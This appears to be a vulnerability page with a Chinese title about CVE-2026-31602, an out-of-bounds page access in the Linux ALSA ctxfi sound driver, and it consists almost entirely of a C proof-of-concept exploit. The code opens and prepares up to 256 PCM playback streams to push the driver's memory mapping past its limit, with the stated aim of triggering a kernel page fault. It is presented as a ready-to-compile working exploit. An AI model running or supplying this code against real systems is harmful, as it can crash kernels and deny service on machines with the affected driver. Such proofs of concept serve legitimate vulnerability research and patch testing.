CVE-2026-31602 Linux内核ALSA ctxfi内存页越界访问漏洞

/* * PoC for CVE-2026-31602 * This code attempts to trigger the kernel page fault * by exhausting the virtual memory allocation limit * in the snd_ctxfi driver. * Compile: gcc -o cve_2026_31602_poc cve_2026_31602_poc.c -lasound */ #include <alsa/asoundlib.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define MAX_STREAMS 256 int main() { int i, rc; snd_pcm_t *handles[MAX_STREAMS]; snd_pcm_hw_params_t *params; snd_pcm_stream_t stream = SND_PCM_STREAM_PLAYBACK; printf("[*] Starting PoC for CVE-2026-31602...\n"); for (i = 0; i < MAX_STREAMS; i++) { // Open PCM device for playback rc = snd_pcm_open(&handles[i], "default", stream, 0); if (rc < 0) { printf("[!] Could not open stream %d: %s\n", i, snd_strerror(rc)); break; } snd_pcm_hw_params_alloca(&params); snd_pcm_hw_params_any(handles[i], params); // Set hardware parameters to allocate resources snd_pcm_hw_params_set_access(handles[i], params, SND_PCM_ACCESS_RW_INTERLEAVED); snd_pcm_hw_params_set_format(handles[i], params, SND_PCM_FORMAT_S16_LE); snd_pcm_hw_params_set_channels(handles[i], params, 2); unsigned int rate = 48000; snd_pcm_hw_params_set_rate_near(handles[i], params, &rate, 0); rc = snd_pcm_hw_params(handles[i], params); if (rc < 0) { printf("[!] Cannot set hw params for stream %d\n", i); snd_pcm_close(handles[i]); break; } // Prepare the stream. This triggers ct_pcm_playback_prepare -> ct_vm_map. // Excessive calls here will aggregate memory usage > 2MB (single PTP limit). rc = snd_pcm_prepare(handles[i]); if (rc < 0) { printf("[!] Prepare failed for stream %d\n", i); snd_pcm_close(handles[i]); break; } printf("[+] Opened and prepared stream %d\n", i); } printf("[*] Opened %d streams. Check kernel logs for Oops/Page Fault.\n", i); // Keep streams open to maintain memory allocation sleep(10); // Cleanup for (int j = 0; j < i; j++) { snd_pcm_close(handles[j]); } return 0; }